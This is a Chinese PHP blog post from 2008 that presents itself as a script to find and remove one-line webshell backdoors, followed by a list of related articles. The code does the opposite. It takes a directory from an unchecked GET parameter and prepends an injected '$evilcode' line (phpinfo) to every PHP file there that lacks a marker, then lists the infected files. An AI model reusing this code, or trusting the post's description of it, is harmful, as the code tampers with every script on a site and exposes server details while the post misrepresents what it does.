用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
web方式ftp
Oct 09 PHP
关于文本留言本的分页代码
Oct 09 PHP
php获取目录所有文件并将结果保存到数组(实例)
Oct 25 PHP
php删除数组元素示例分享
Feb 17 PHP
php实例分享之mysql数据备份
May 19 PHP
php中chdir()函数用法实例
Nov 13 PHP
PHP生成唯一订单号
Jul 05 PHP
分享3个php获取日历的函数
Sep 25 PHP
理清PHP在Linxu下执行时的文件权限方法
Jun 07 PHP
[原创]php token使用与验证示例【测试可用】
Aug 30 PHP
Yii框架核心组件类实例详解
Aug 06 PHP
使用Rancher在K8S上部署高性能PHP应用程序的教程
Jul 10 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
2020年4月新番动漫目录 官方宣布4月播出的作品一览
2020/03/08 日漫
php无限极分类实现的两种解决方法
2013/04/28 PHP
PHP laravel中的多对多关系实例详解
2017/06/07 PHP
js 图片轮播(5张图片)
2008/12/30 Javascript
juqery 学习之三 选择器 层级 基本
2010/11/25 Javascript
jquery中ajax调用json数据的使用说明
2011/03/17 Javascript
在JavaScript中监听IME键盘输入事件
2011/05/29 Javascript
jquery网页元素拖拽插件效果及实现
2013/08/05 Javascript
jCallout 轻松实现气泡提示功能
2013/09/22 Javascript
js 限制input只能输入数字、字母和汉字等等
2013/12/18 Javascript
Javascript基础教程之数组 array
2015/01/18 Javascript
Javascript学习之谈谈JS的全局变量跟局部变量(推荐)
2016/08/28 Javascript
jquery网页加载进度条的实现
2017/06/01 jQuery
vue2.0 keep-alive最佳实践
2017/07/06 Javascript
angularjs中$http异步上传Excel文件方法
2018/02/23 Javascript
vue实现div拖拽互换位置
2020/07/29 Javascript
layui form表单提交之后重新加载数据表格的方法
2019/09/11 Javascript
解决VUE 在IE下出现ReferenceError: Promise未定义的问题
2020/11/07 Javascript
python自动化测试之setUp与tearDown实例
2014/09/28 Python
python实现简单购物商城
2016/05/21 Python
tensorflow中next_batch的具体使用
2018/02/02 Python
python3实现域名查询和whois查询功能
2018/06/21 Python
Python判断对象是否为文件对象(file object)的三种方法示例
2019/04/26 Python
Python数据分析库pandas高级接口dt的使用详解
2020/12/11 Python
python 第三方库paramiko的常用方式
2021/02/20 Python
LEGO玩具英国官方商店:LEGO Shop GB
2018/03/27 全球购物
同学聚会欢迎辞
2014/01/14 职场文书
争论的故事教学反思
2014/02/06 职场文书
4S店售后客服自我评价
2014/04/09 职场文书
毕业生学校推荐信范文
2014/05/21 职场文书
解放思想大讨论活动总结
2015/05/09 职场文书
2015年档案管理员工作总结
2015/05/13 职场文书
嘉年华活动新闻稿
2015/07/17 职场文书
三好学生竞选稿范文
2019/08/21 职场文书
MySQL 常见的数据表设计误区汇总
2021/06/07 MySQL
python中mongodb包操作数据库
2022/04/19 Python